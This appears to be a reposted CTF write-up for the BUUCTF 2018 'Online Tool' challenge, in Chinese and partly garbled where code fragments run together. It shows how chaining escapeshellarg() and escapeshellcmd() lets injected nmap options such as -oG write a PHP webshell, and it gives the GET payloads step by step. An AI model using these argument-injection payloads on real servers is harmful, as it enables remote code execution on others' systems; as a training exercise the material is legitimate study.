- 利用点
- 代码审计
- 解题
- nmap写文件
- escapeshellarg() + escapeshellcmd()使用不当
- Payload
- 完
- nmap写文件
- escapeshellarg() + escapeshellcmd()使用不当
传入的GET参数$host经过escapeshellarg和escapeshellcmd处理,然后拼接到已有的nmap指令执行
解题 nmap写文件escape转义了特殊符号,这步是不能跳出来的,只能寄希望于nmap;查阅help文档发现nmap有output写文件的功能,那么就可以写入一句话木马来RCE
可以通过-oN和-oG参数写入文件
nmap '' -oN 1.phpescapeshellarg() + escapeshellcmd()使用不当
那就先试试-oN起一个本地环境
'; echo $cmd; $cmd = escapeshellarg($cmd); echo ''; echo $cmd; $cmd = escapeshellcmd($cmd); echo ''; echo $cmd; echo ''; echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$cmd;直接传入'' -oN 1.php
[GET]http://URL/escape.php?cmd='' -oN 1.php '' -oN 1.php ''''''' -oN 1.php' ''\'''\'' -oN 1.php' nmap -T5 -sT -Pn --host-timeout 2 -F ''\'''\'' -oN 1.php'执行的命令可以简化为:
nmap '\'' -oN 1.php'可以看见两个由于两个函数依次处理,会造成后部有引号残留问题导致命令被截断
PHP escapeshellarg()+escapeshellcmd() 之殇
那么我们将引号从-oN之前转移到最后,即传入' -oN 1.php'
[GET]http://URL/escape.php?cmd=' -oN 1.php' ' -oN 1.php' '''' -oN 1.php'''' ''\'' -oN 1.php'\''' nmap -T5 -sT -Pn --host-timeout 2 -F ''\'' -oN 1.php'\'''相当于直接运行:
nmap -oN 1.php'\'但是,这一步出错了,在于写文件名把最后的斜杠写进去了
那么我们只要在末尾引号前加一个空格即可:传入' -oN 1.php ',目的是截断引号[GET]http://URL/escape.php?cmd=' -oN 1.php ' ' -oN 1.php ' '''' -oN 1.php '''' ''\'' -oN 1.php '\''' nmap -T5 -sT -Pn --host-timeout 2 -F ''\'' -oN 1.php '\'''相当于直接运行:
nmap -oN 1.php '\'这里的文件名就正常了
上传后提示出错,应该是由于-oN写入了所有提示信息,因此写入无效的句点
这些无效的句点被PHP解析了所以出错了
那么我们换成-oG参数,我们可以看一下两个参数写入的区别:
Payload
使用-oG的内容没有报错信息,那么写入的一句话木马就是完整且不会解析出错的,因此我们传入' -oG 1.php ',蚁剑连接即可
[GET]http://URL/?host=' -oG 1.php '完欢迎在评论区留言,欢迎关注我的CSDN @Ho1aAs


![『CTF Web复现』[BUUCTF 2018]Online Tool 『CTF Web复现』[BUUCTF 2018]Online Tool](http://www.mshxw.com/aiimages/31/347881.png)
